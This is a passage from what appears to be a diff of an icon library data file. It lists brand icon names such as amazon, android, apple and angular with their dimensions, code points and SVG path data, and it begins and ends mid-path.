8.7-19.5 19.5-19.5h45.3c10.8 0 19.5 8.7 19.5 19.5v15.4c0 1.8-1.7 3-3.3 2.5-12.3-3.4-25.1-5.1-38.1-5.1-13.5 0-26.7 1.8-39.4 5.5-1.7.5-3.4-.8-3.4-2.5v-15.8zm-84.4 37l9.2-9.2c7.6-7.6 19.9-7.6 27.5 0l7.7 7.7c1.1 1.1 1 3-.3 4-6.2 4.5-12.1 9.4-17.6 14.9-5.4 5.4-10.4 11.3-14.8 17.4-1 1.3-2.9 1.5-4 .3l-7.7-7.7c-7.6-7.5-7.6-19.8 0-27.4zm127.2 244.8c-70 0-126.6-56.7-126.6-126.6s56.7-126.6 126.6-126.6c70 0 126.6 56.6 126.6 126.6 0 69.8-56.7 126.6-126.6 126.6z"], + "alipay": [448, 512, [], "f642", "M377.74 32H70.26C31.41 32 0 63.41 0 102.26v307.48C0 448.59 31.41 480 70.26 480h307.48c38.52 0 69.76-31.08 70.26-69.6-45.96-25.62-110.59-60.34-171.6-88.44-32.07 43.97-84.14 81-148.62 81-70.59 0-93.73-45.3-97.04-76.37-3.97-39.01 14.88-81.5 99.52-81.5 35.38 0 79.35 10.25 127.13 24.96 16.53-30.09 26.45-60.34 26.45-60.34h-178.2v-16.7h92.08v-31.24H88.28v-19.01h109.44V92.34h50.92v50.42h109.44v19.01H248.63v31.24h88.77s-15.21 46.62-38.35 90.92c48.93 16.7 100.01 36.04 148.62 52.74V102.26C447.83 63.57 416.43 32 377.74 32zM47.28 322.95c.99 20.17 10.25 53.73 69.93 53.73 52.07 0 92.58-39.68 117.87-72.9-44.63-18.68-84.48-31.41-109.44-31.41-67.45 0-79.35 33.06-78.36 50.58z"], + "amazon": [448, 512, [], "f270", "M257.2 162.7c-48.7 1.8-169.5 15.5-169.5 117.5 0 109.5 138.3 114 183.5 43.2 6.5 10.2 35.4 37.5 45.3 46.8l56.8-56S341 288.9 341 261.4V114.3C341 89 316.5 32 228.7 32 140.7 32 94 87 94 136.3l73.5 6.8c16.3-49.5 54.2-49.5 54.2-49.5 40.7-.1 35.5 29.8 35.5 69.1zm0 86.8c0 80-84.2 68-84.2 17.2 0-47.2 50.5-56.7 84.2-57.8v40.6zm136 163.5c-7.7 10-70 67-174.5 67S34.2 408.5 9.7 379c-6.8-7.7 1-11.3 5.5-8.3C88.5 415.2 203 488.5 387.7 401c7.5-3.7 13.3 2 5.5 12zm39.8 2.2c-6.5 15.8-16 26.8-21.2 31-5.5 4.5-9.5 2.7-6.5-3.8s19.3-46.5 12.7-55c-6.5-8.3-37-4.3-48-3.2-10.8 1-13 2-14-.3-2.3-5.7 21.7-15.5 37.5-17.5 15.7-1.8 41-.8 46 5.7 3.7 5.1 0 27.1-6.5 43.1z"], + "amazon-pay": [640, 512, [], "f42c", "M14 325.3c2.3-4.2 5.2-4.9 9.7-2.5 10.4 5.6 20.6 11.4 31.2 16.7a595.88 595.88 0 0 0 127.4 46.3 616.61 616.61 0 0 0 63.2 11.8 603.33 603.33 0 0 0 95 5.2c17.4-.4 34.8-1.8 52.1-3.8a603.66 603.66 0 0 0 163.3-42.8c2.9-1.2 5.9-2 9.1-1.2 6.7 1.8 9 9 4.1 13.9a70 70 0 0 1-9.6 7.4c-30.7 21.1-64.2 36.4-99.6 47.9a473.31 473.31 0 0 1-75.1 17.6 431 431 0 0 1-53.2 4.8 21.3 21.3 0 0 0-2.5.3H308a21.3 21.3 0 0 0-2.5-.3c-3.6-.2-7.2-.3-10.7-.4a426.3 426.3 0 0 1-50.4-5.3A448.4 448.4 0 0 1 164 420a443.33 443.33 0 0 1-145.6-87c-1.8-1.6-3-3.8-4.4-5.7zM172 65.1l-4.3.6a80.92 80.92 0 0 0-38 15.1c-2.4 1.7-4.6 3.5-7.1 5.4a4.29 4.29 0 0 1-.4-1.4c-.4-2.7-.8-5.5-1.3-8.2-.7-4.6-3-6.6-7.6-6.6h-11.5c-6.9 0-8.2 1.3-8.2 8.2v209.3c0 1 0 2 .1 3 .2 3 2 4.9 4.9 5 7 .1 14.1.1 21.1 0 2.9 0 4.7-2 5-5 .1-1 .1-2 .1-3v-72.4c1.1.9 1.7 1.4 2.2 1.9 17.9 14.9 38.5 19.8 61 15.4 20.4-4 34.6-16.5 43.8-34.9 7-13.9 9.9-28.7 10.3-44.1.5-17.1-1.2-33.9-8.1-49.8-8.5-19.6-22.6-32.5-43.9-36.9-3.2-.7-6.5-1-9.8-1.5-2.8-.1-5.5-.1-8.3-.1zM124.6 107a3.48 3.48 0 0 1 1.7-3.3c13.7-9.5 28.8-14.5 45.6-13.2 14.9 1.1 27.1 8.4 33.5 25.9 3.9 10.7 4.9 21.8 4.9 33 0 10.4-.8 20.6-4 30.6-6.8 21.3-22.4 29.4-42.6 28.5-14-.6-26.2-6-37.4-13.9a3.57 3.57 0 0 1-1.7-3.3c.1-14.1 0-28.1 0-42.2s.1-28 0-42.1zm205.7-41.9c-1 .1-2 .3-2.9.4a148 148 0 0 0-28.9 4.1c-6.1 1.6-12 3.8-17.9 5.8-3.6 1.2-5.4 3.8-5.3 7.7.1 3.3-.1 6.6 0 9.9.1 4.8 2.1 6.1 6.8 4.9 7.8-2 15.6-4.2 23.5-5.7 12.3-2.3 24.7-3.3 37.2-1.4 6.5 1 12.6 2.9 16.8 8.4 3.7 4.8 5.1 10.5 5.3 16.4.3 8.3.2 16.6.3 24.9a7.84 7.84 0 0 1-.2 1.4c-.5-.1-.9 0-1.3-.1a180.56 180.56 0 0 0-32-4.9c-11.3-.6-22.5.1-33.3 3.9-12.9 4.5-23.3 12.3-29.4 24.9-4.7 9.8-5.4 20.2-3.9 30.7 2 14 9 24.8 21.4 31.7 11.9 6.6 24.8 7.4 37.9 5.4 15.1-2.3 28.5-8.7 40.3-18.4a7.36 7.36 0 0 1 1.6-1.1c.6 3.8 1.1 7.4 1.8 11 .6 3.1 2.5 5.1 5.4 5.2 5.4.1 10.9.1 16.3 0a4.84 4.84 0 0 0 4.8-4.7 26.2 26.2 0 0 0 .1-2.8v-106a80 80 0 0 0-.9-12.9c-1.9-12.9-7.4-23.5-19-30.4-6.7-4-14.1-6-21.8-7.1-3.6-.5-7.2-.8-10.8-1.3-3.9.1-7.9.1-11.9.1zm35 127.7a3.33 3.33 0 0 1-1.5 3c-11.2 8.1-23.5 13.5-37.4 14.9-5.7.6-11.4.4-16.8-1.8a20.08 20.08 0 0 1-12.4-13.3 32.9 32.9 0 0 1-.1-19.4c2.5-8.3 8.4-13 16.4-15.6a61.33 61.33 0 0 1 24.8-2.2c8.4.7 16.6 2.3 25 3.4 1.6.2 2.1 1 2.1 2.6-.1 4.8 0 9.5 0 14.3s-.2 9.4-.1 14.1zm259.9 129.4c-1-5-4.8-6.9-9.1-8.3a88.42 88.42 0 0 0-21-3.9 147.32 147.32 0 0 0-39.2 1.9c-14.3 2.7-27.9 7.3-40 15.6a13.75 13.75 0 0 0-3.7 3.5 5.11 5.11 0 0 0-.5 4c.4 1.5 2.1 1.9 3.6 1.8a16.2 16.2 0 0 0 2.2-.1c7.8-.8 15.5-1.7 23.3-2.5 11.4-1.1 22.9-1.8 34.3-.9a71.64 71.64 0 0 1 14.4 2.7c5.1 1.4 7.4 5.2 7.6 10.4.4 8-1.4 15.7-3.5 23.3-4.1 15.4-10 30.3-15.8 45.1a17.6 17.6 0 0 0-1 3c-.5 2.9 1.2 4.8 4.1 4.1a10.56 10.56 0 0 0 4.8-2.5 145.91 145.91 0 0 0 12.7-13.4c12.8-16.4 20.3-35.3 24.7-55.6.8-3.6 1.4-7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z"], + "amilia": [448, 512, [], "f36d", "M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z"], + "android": [576, 512, [], "f17b", "M420.55,301.93a24,24,0,1,1,24-24,24,24,0,0,1-24,24m-265.1,0a24,24,0,1,1,24-24,24,24,0,0,1-24,24m273.7-144.48,47.94-83a10,10,0,1,0-17.27-10h0l-48.54,84.07a301.25,301.25,0,0,0-246.56,0L116.18,64.45a10,10,0,1,0-17.27,10h0l47.94,83C64.53,202.22,8.24,285.55,0,384H576c-8.24-98.45-64.54-181.78-146.85-226.55"], + "angellist": [448, 512, [], "f209", "M347.1 215.4c11.7-32.6 45.4-126.9 45.4-157.1 0-26.6-15.7-48.9-43.7-48.9-44.6 0-84.6 131.7-97.1 163.1C242 144 196.6 0 156.6 0c-31.1 0-45.7 22.9-45.7 51.7 0 35.3 34.2 126.8 46.6 162-6.3-2.3-13.1-4.3-20-4.3-23.4 0-48.3 29.1-48.3 52.6 0 8.9 4.9 21.4 8 29.7-36.9 10-51.1 34.6-51.1 71.7C46 435.6 114.4 512 210.6 512c118 0 191.4-88.6 191.4-202.9 0-43.1-6.9-82-54.9-93.7zM311.7 108c4-12.3 21.1-64.3 37.1-64.3 8.6 0 10.9 8.9 10.9 16 0 19.1-38.6 124.6-47.1 148l-34-6 33.1-93.7zM142.3 48.3c0-11.9 14.5-45.7 46.3 47.1l34.6 100.3c-15.6-1.3-27.7-3-35.4 1.4-10.9-28.8-45.5-119.7-45.5-148.8zM140 244c29.3 0 67.1 94.6 67.1 107.4 0 5.1-4.9 11.4-10.6 11.4-20.9 0-76.9-76.9-76.9-97.7.1-7.7 12.7-21.1 20.4-21.1zm184.3 186.3c-29.1 32-66.3 48.6-109.7 48.6-59.4 0-106.3-32.6-128.9-88.3-17.1-43.4 3.8-68.3 20.6-68.3 11.4 0 54.3 60.3 54.3 73.1 0 4.9-7.7 8.3-11.7 8.3-16.1 0-22.4-15.5-51.1-51.4-29.7 29.7 20.5 86.9 58.3 86.9 26.1 0 43.1-24.2 38-42 3.7 0 8.3.3 11.7-.6 1.1 27.1 9.1 59.4 41.7 61.7 0-.9 2-7.1 2-7.4 0-17.4-10.6-32.6-10.6-50.3 0-28.3 21.7-55.7 43.7-71.7 8-6 17.7-9.7 27.1-13.1 9.7-3.7 20-8 27.4-15.4-1.1-11.2-5.7-21.1-16.9-21.1-27.7 0-120.6 4-120.6-39.7 0-6.7.1-13.1 17.4-13.1 32.3 0 114.3 8 138.3 29.1 18.1 16.1 24.3 113.2-31 174.7zm-98.6-126c9.7 3.1 19.7 4 29.7 6-7.4 5.4-14 12-20.3 19.1-2.8-8.5-6.2-16.8-9.4-25.1z"], + "angrycreative": [640, 512, [], "f36e", "M640 238.2l-3.2 28.2-34.5 2.3-2 18.1 34.5-2.3-3.2 28.2-34.4 2.2-2.3 20.1 34.4-2.2-3 26.1-64.7 4.1 12.7-113.2L527 365.2l-31.9 2-23.8-117.8 30.3-2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5l28.3-1.8L468 249.6l-28.4 1.9-12.8 120zM162 388.1l-19.4-36-3.5 37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7c2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6 23.2 51.3 28.8l2.8-30.8 38.9-2.5c20.1-1.3 38.7 3.7 42.5 23.7l2.6-26.6 64.8-4.2-2.7 27.9-36.4 2.4-1.7 17.9 36.4-2.3-2.7 27.9-36.4 2.3-1.9 19.9 36.3-2.3-2.1 20.8 55-117.2 23.8-1.6L370.4 369l8.9-85.6-22.3 1.4 2.9-27.9 75-4.9-3 28-24.3 1.6-9.7 91.9-58 3.7-4.3-15.6-39.4 2.5-8 16.3-126.2 7.7zm-44.3-70.2l-26.4 1.7C84.6 307.2 76.9 303 65 303.8c-19 1.2-33.3 17.5-34.6 33.3-1.4 16 7.3 32.5 28.7 31.2 12.8-.8 21.3-8.6 28.9-18.9l27-1.7 2.7-29.8zm56.1-7.7c1.2-12.9-7.6-13.6-26.1-12.4l-2.7 28.5c14.2-.9 27.5-2.1 28.8-16.1zm21.1 70.8l5.8-60c-5 13.5-14.7 21.1-27.9 26.6l22.1 33.4zm135.4-45l-7.9-37.8-15.8 39.3 23.7-1.5zm-170.1-74.6l-4.3-17.5-39.6 2.6-8.1 18.2-31.9 2.1 57-121.9 23.9-1.6 30.7 102 9.9-104.7 27-1.8 37.8 63.6 6.5-66.6 28.5-1.9-4 41.2c7.4-13.5 22.9-44.7 63.6-47.5 40.5-2.8 52.4 29.3 53.4 30.3l3.3-32 39.3-2.7c12.7-.9 27.8.3 36.3 9.7l-4.4-11.9 32.2-2.2 12.9 43.2 23-45.7 31-2.2-43.6 78.4-4.8 44.3-28.4 1.9 4.8-44.3-15.8-43c1 22.3-9.2 40.1-32 49.6l25.2 38.8-36.4 2.4-19.2-36.8-4 38.3-28.4 1.9 3.3-31.5c-6.7 9.3-19.7 35.4-59.6 38-26.2 1.7-45.6-10.3-55.4-39.2l-4 40.3-25 1.6-37.6-63.3-6.3 66.2-56.8 3.7zm276.6-82.1c10.2-.7 17.5-2.1 21.6-4.3 4.5-2.4 7-6.4 7.6-12.1.6-5.3-.6-8.8-3.4-10.4-3.6-2.1-10.6-2.8-22.9-2l-2.9 28.8zM327.7 214c5.6 5.9 12.7 8.5 21.3 7.9 4.7-.3 9.1-1.8 13.3-4.1 5.5-3 10.6-8 15.1-14.3l-34.2 2.3 2.4-23.9 63.1-4.3 1.2-12-31.2 2.1c-4.1-3.7-7.8-6.6-11.1-8.1-4-1.7-8.1-2.8-12.2-2.5-8 .5-15.3 3.6-22 9.2-7.7 6.4-12 14.5-12.9 24.4-1.1 9.6 1.4 17.3 7.2 23.3zm-201.3 8.2l23.8-1.6-8.3-37.6-15.5 39.2z"], + "angular": [448, 512, [], "f420", "M185.7 268.1h76.2l-38.1-91.6-38.1 91.6zM223.8 32L16 106.4l31.8 275.7 176 97.9 176-97.9 31.8-275.7zM354 373.8h-48.6l-26.2-65.4H168.6l-26.2 65.4H93.7L223.8 81.5z"], + "app-store": [512, 512, [], "f36f", "M255.9 120.9l9.1-15.7c5.6-9.8 18.1-13.1 27.9-7.5 9.8 5.6 13.1 18.1 7.5 27.9l-87.5 151.5h63.3c20.5 0 32 24.1 23.1 40.8H113.8c-11.3 0-20.4-9.1-20.4-20.4 0-11.3 9.1-20.4 20.4-20.4h52l66.6-115.4-20.8-36.1c-5.6-9.8-2.3-22.2 7.5-27.9 9.8-5.6 22.2-2.3 27.9 7.5l8.9 15.7zm-78.7 218l-19.6 34c-5.6 9.8-18.1 13.1-27.9 7.5-9.8-5.6-13.1-18.1-7.5-27.9l14.6-25.2c16.4-5.1 29.8-1.2 40.4 11.6zm168.9-61.7h53.1c11.3 0 20.4 9.1 20.4 20.4 0 11.3-9.1 20.4-20.4 20.4h-29.5l19.9 34.5c5.6 9.8 2.3 22.2-7.5 27.9-9.8 5.6-22.2 2.3-27.9-7.5-33.5-58.1-58.7-101.6-75.4-130.6-17.1-29.5-4.9-59.1 7.2-69.1 13.4 23 33.4 57.7 60.1 104zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm216 248c0 118.7-96.1 216-216 216-118.7 0-216-96.1-216-216 0-118.7 96.1-216 216-216 118.7 0 216 96.1 216 216z"], + "app-store-ios": [448, 512, [], "f370", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM127 384.5c-5.5 9.6-17.8 12.8-27.3 7.3-9.6-5.5-12.8-17.8-7.3-27.3l14.3-24.7c16.1-4.9 29.3-1.1 39.6 11.4L127 384.5zm138.9-53.9H84c-11 0-20-9-20-20s9-20 20-20h51l65.4-113.2-20.5-35.4c-5.5-9.6-2.2-21.8 7.3-27.3 9.6-5.5 21.8-2.2 27.3 7.3l8.9 15.4 8.9-15.4c5.5-9.6 17.8-12.8 27.3-7.3 9.6 5.5 12.8 17.8 7.3 27.3l-85.8 148.6h62.1c20.2 0 31.5 23.7 22.7 40zm98.1 0h-29l19.6 33.9c5.5 9.6 2.2 21.8-7.3 27.3-9.6 5.5-21.8 2.2-27.3-7.3-32.9-56.9-57.5-99.7-74-128.1-16.7-29-4.8-58 7.1-67.8 13.1 22.7 32.7 56.7 58.9 102h52c11 0 20 9 20 20 0 11.1-9 20-20 20z"], + "apper": [640, 512, [], "f371", "M42.1 239.1c22.2 0 29 2.8 33.5 14.6h.8v-22.9c0-11.3-4.8-15.4-17.9-15.4-11.3 0-14.4 2.5-15.1 12.8H4.8c.3-13.9 1.5-19.1 5.8-24.4C17.9 195 29.5 192 56.7 192c33 0 47.1 5 53.9 18.9 2 4.3 4 15.6 4 23.7v76.3H76.3l1.3-19.1h-1c-5.3 15.6-13.6 20.4-35.5 20.4-30.3 0-41.1-10.1-41.1-37.3 0-25.2 12.3-35.8 42.1-35.8zm17.1 48.1c13.1 0 16.9-3 16.9-13.4 0-9.1-4.3-11.6-19.6-11.6-13.1 0-17.9 3-17.9 12.1-.1 10.4 3.7 12.9 20.6 12.9zm77.8-94.9h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.2 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3H137v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm57.9-60.7h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.3 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3h-39.5v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm53.8-3.8c0-25.4 3.3-37.8 12.3-45.8 8.8-8.1 22.2-11.3 45.1-11.3 42.8 0 55.7 12.8 55.7 55.7v11.1h-75.3c-.3 2-.3 4-.3 4.8 0 16.9 4.5 21.9 20.1 21.9 13.9 0 17.9-3 17.9-13.9h37.5v2.3c0 9.8-2.5 18.9-6.8 24.7-7.3 9.8-19.6 13.6-44.3 13.6-27.5 0-41.6-3.3-50.6-12.3-8.5-8.5-11.3-21.3-11.3-50.8zm76.4-11.6c-.3-1.8-.3-3.3-.3-3.8 0-12.3-3.3-14.6-19.6-14.6-14.4 0-17.1 3-18.1 15.1l-.3 3.3h38.3zm55.6-45.3h38.3l-1.8 19.9h.7c6.8-14.9 14.4-20.2 29.7-20.2 10.8 0 19.1 3.3 23.4 9.3 5.3 7.3 6.8 14.4 6.8 34 0 1.5 0 5 .2 9.3h-35c.3-1.8.3-3.3.3-4 0-15.4-2-19.4-10.3-19.4-6.3 0-10.8 3.3-13.1 9.3-1 3-1 4.3-1 12.3v68h-38.3V192.3z"], + "apple": [384, 512, [], "f179", "M318.7 268.7c-.2-36.7 16.4-64.4 50-84.8-18.8-26.9-47.2-41.7-84.7-44.6-35.5-2.8-74.3 20.7-88.5 20.7-15 0-49.4-19.7-76.4-19.7C63.3 141.2 4 184.8 4 273.5q0 39.3 14.4 81.2c12.8 36.7 59 126.7 107.2 125.2 25.2-.6 43-17.9 75.8-17.9 31.8 0 48.3 17.9 76.4 17.9 48.6-.7 90.4-82.5 102.6-119.3-65.2-30.7-61.7-90-61.7-91.9zm-56.6-164.2c27.3-32.4 24.8-61.9 24-72.5-24.1 1.4-52 16.4-67.9 34.9-17.5 19.8-27.8 44.3-25.6 71.9 26.1 2 49.9-11.4 69.5-34.3z"], + "apple-pay": [640, 512, [], "f415", "M116.9 158.5c-7.5 8.9-19.5 15.9-31.5 14.9-1.5-12 4.4-24.8 11.3-32.6 7.5-9.1 20.6-15.6 31.3-16.1 1.2 12.4-3.7 24.7-11.1 33.8m10.9 17.2c-17.4-1-32.3 9.9-40.5 9.9-8.4 0-21-9.4-34.8-9.1-17.9.3-34.5 10.4-43.6 26.5-18.8 32.3-4.9 80 13.3 106.3 8.9 13 19.5 27.3 33.5 26.8 13.3-.5 18.5-8.6 34.5-8.6 16.1 0 20.8 8.6 34.8 8.4 14.5-.3 23.6-13 32.5-26 10.1-14.8 14.3-29.1 14.5-29.9-.3-.3-28-10.9-28.3-42.9-.3-26.8 21.9-39.5 22.9-40.3-12.5-18.6-32-20.6-38.8-21.1m100.4-36.2v194.9h30.3v-66.6h41.9c38.3 0 65.1-26.3 65.1-64.3s-26.4-64-64.1-64h-73.2zm30.3 25.5h34.9c26.3 0 41.3 14 41.3 38.6s-15 38.8-41.4 38.8h-34.8V165zm162.2 170.9c19 0 36.6-9.6 44.6-24.9h.6v23.4h28v-97c0-28.1-22.5-46.3-57.1-46.3-32.1 0-55.9 18.4-56.8 43.6h27.3c2.3-12 13.4-19.9 28.6-19.9 18.5 0 28.9 8.6 28.9 24.5v10.8l-37.8 2.3c-35.1 2.1-54.1 16.5-54.1 41.5.1 25.2 19.7 42 47.8 42zm8.2-23.1c-16.1 0-26.4-7.8-26.4-19.6 0-12.3 9.9-19.4 28.8-20.5l33.6-2.1v11c0 18.2-15.5 31.2-36 31.2zm102.5 74.6c29.5 0 43.4-11.3 55.5-45.4L640 193h-30.8l-35.6 115.1h-.6L537.4 193h-31.6L557 334.9l-2.8 8.6c-4.6 14.6-12.1 20.3-25.5 20.3-2.4 0-7-.3-8.9-.5v23.4c1.8.4 9.3.7 11.6.7z"], + "artstation": [512, 512, [], "f77a", "M2 377.4l43 74.3A51.35 51.35 0 0 0 90.9 480h285.4l-59.2-102.6zM501.8 350L335.6 59.3A51.38 51.38 0 0 0 290.2 32h-88.4l257.3 447.6 40.7-70.5c1.9-3.2 21-29.7 2-59.1zM275 304.5l-115.5-200L44 304.5z"], + "asymmetrik": [576, 512, [], "f372", "M517.5 309.2c38.8-40 58.1-80 58.5-116.1.8-65.5-59.4-118.2-169.4-135C277.9 38.4 118.1 73.6 0 140.5 52 114 110.6 92.3 170.7 82.3c74.5-20.5 153-25.4 221.3-14.8C544.5 91.3 588.8 195 490.8 299.2c-10.2 10.8-22 21.1-35 30.6L304.9 103.4 114.7 388.9c-65.6-29.4-76.5-90.2-19.1-151.2 20.8-22.2 48.3-41.9 79.5-58.1 20-12.2 39.7-22.6 62-30.7-65.1 20.3-122.7 52.9-161.6 92.9-27.7 28.6-41.4 57.1-41.7 82.9-.5 35.1 23.4 65.1 68.4 83l-34.5 51.7h101.6l22-34.4c22.2 1 45.3 0 68.6-2.7l-22.8 37.1h135.5L340 406.3c18.6-5.3 36.9-11.5 54.5-18.7l45.9 71.8H542L468.6 349c18.5-12.1 35-25.5 48.9-39.8zm-187.6 80.5l-25-40.6-32.7 53.3c-23.4 3.5-46.7 5.1-69.2 4.4l101.9-159.3 78.7 123c-17.2 7.4-35.3 13.9-53.7 19.2z"], + "atlassian": [512, 512, [], "f77b", "M152.2 236.4c-7.7-8.2-19.7-7.7-24.8 2.8L1.6 490.2c-5 10 2.4 21.7 13.4 21.7h175c5.8.1 11-3.2 13.4-8.4 37.9-77.8 15.1-196.3-51.2-267.1zM244.4 8.1c-122.3 193.4-8.5 348.6 65 495.5 2.5 5.1 7.7 8.4 13.4 8.4H497c11.2 0 18.4-11.8 13.4-21.7 0 0-234.5-470.6-240.4-482.3-5.3-10.6-18.8-10.8-25.6.1z"], + "audible": [640, 512, [], "f373", "M640 199.9v54l-320 200L0 254v-54l320 200 320-200.1zm-194.5 72l47.1-29.4c-37.2-55.8-100.7-92.6-172.7-92.6-72 0-135.5 36.7-172.6 92.4h.3c2.5-2.3 5.1-4.5 7.7-6.7 89.7-74.4 219.4-58.1 290.2 36.3zm-220.1 18.8c16.9-11.9 36.5-18.7 57.4-18.7 34.4 0 65.2 18.4 86.4 47.6l45.4-28.4c-20.9-29.9-55.6-49.5-94.8-49.5-38.9 0-73.4 19.4-94.4 49zM103.6 161.1c131.8-104.3 318.2-76.4 417.5 62.1l.7 1 48.8-30.4C517.1 112.1 424.8 58.1 319.9 58.1c-103.5 0-196.6 53.5-250.5 135.6 9.9-10.5 22.7-23.5 34.2-32.6zm467 32.7z"], + "autoprefixer": [640, 512, [], "f41c", "M318.4 16l-161 480h77.5l25.4-81.4h119.5L405 496h77.5L318.4 16zm-40.3 341.9l41.2-130.4h1.5l40.9 130.4h-83.6zM640 405l-10-31.4L462.1 358l19.4 56.5L640 405zm-462.1-47L10 373.7 0 405l158.5 9.4 19.4-56.4z"], + "avianex": [512, 512, [], "f374", "M453.1 32h-312c-38.9 0-76.2 31.2-83.3 69.7L1.2 410.3C-5.9 448.8 19.9 480 58.9 480h312c38.9 0 76.2-31.2 83.3-69.7l56.7-308.5c7-38.6-18.8-69.8-57.8-69.8zm-58.2 347.3l-32 13.5-115.4-110c-14.7 10-29.2 19.5-41.7 27.1l22.1 64.2-17.9 12.7-40.6-61-52.4-48.1 15.7-15.4 58 31.1c9.3-10.5 20.8-22.6 32.8-34.9L203 228.9l-68.8-99.8 18.8-28.9 8.9-4.8L265 207.8l4.9 4.5c19.4-18.8 33.8-32.4 33.8-32.4 7.7-6.5 21.5-2.9 30.7 7.9 9 10.5 10.6 24.7 2.7 31.3-1.8 1.3-15.5 11.4-35.3 25.6l4.5 7.3 94.9 119.4-6.3 7.9z"], + "aviato": [640, 512, [], "f421", "M107.2 283.5l-19-41.8H36.1l-19 41.8H0l62.2-131.4 62.2 131.4h-17.2zm-45-98.1l-19.6 42.5h39.2l-19.6-42.5zm112.7 102.4l-62.2-131.4h17.1l45.1 96 45.1-96h17l-62.1 131.4zm80.6-4.3V156.4H271v127.1h-15.5zm209.1-115.6v115.6h-17.3V167.9h-41.2v-11.5h99.6v11.5h-41.1zM640 218.8c0 9.2-1.7 17.8-5.1 25.8-3.4 8-8.2 15.1-14.2 21.1-6 6-13.1 10.8-21.1 14.2-8 3.4-16.6 5.1-25.8 5.1s-17.8-1.7-25.8-5.1c-8-3.4-15.1-8.2-21.1-14.2-6-6-10.8-13-14.2-21.1-3.4-8-5.1-16.6-5.1-25.8s1.7-17.8 5.1-25.8c3.4-8 8.2-15.1 14.2-21.1 6-6 13-8.4 21.1-11.9 8-3.4 16.6-5.1 25.8-5.1s17.8 1.7 25.8 5.1c8 3.4 15.1 5.8 21.1 11.9 6 6 10.7 13.1 14.2 21.1 3.4 8 5.1 16.6 5.1 25.8zm-15.5 0c0-7.3-1.3-14-3.9-20.3-2.6-6.3-6.2-11.7-10.8-16.3-4.6-4.6-10-8.2-16.2-10.9-6.2-2.7-12.8-4-19.8-4s-13.6 1.3-19.8 4c-6.2 2.7-11.6 6.3-16.2 10.9-4.6 4.6-8.2 10-10.8 16.3-2.6 6.3-3.9 13.1-3.9 20.3 0 7.3 1.3 14 3.9 20.3 2.6 6.3 6.2 11.7 10.8 16.3 4.6 4.6 10 8.2 16.2 10.9 6.2 2.7 12.8 4 19.8 4s13.6-1.3 19.8-4c6.2-2.7 11.6-6.3 16.2-10.9 4.6-4.6 8.2-10 10.8-16.3 2.6-6.3 3.9-13.1 3.9-20.3zm-94.8 96.7v-6.3l88.9-10-242.9 13.4c.6-2.2 1.1-4.6 1.4-7.2.3-2 .5-4.2.6-6.5l64.8-8.1-64.9 1.9c0-.4-.1-.7-.1-1.1-2.8-17.2-25.5-23.7-25.5-23.7l-1.1-26.3h23.8l19 41.8h17.1L348.6 152l-62.2 131.4h17.1l19-41.8h23.6L345 268s-22.7 6.5-25.5 23.7c-.1.3-.1.7-.1 1.1l-64.9-1.9 64.8 8.1c.1 2.3.3 4.4.6 6.5.3 2.6.8 5 1.4 7.2L78.4 299.2l88.9 10v6.3c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4 0-6.2-4.6-11.3-10.5-12.2v-5.8l80.3 9v5.4c-5.7 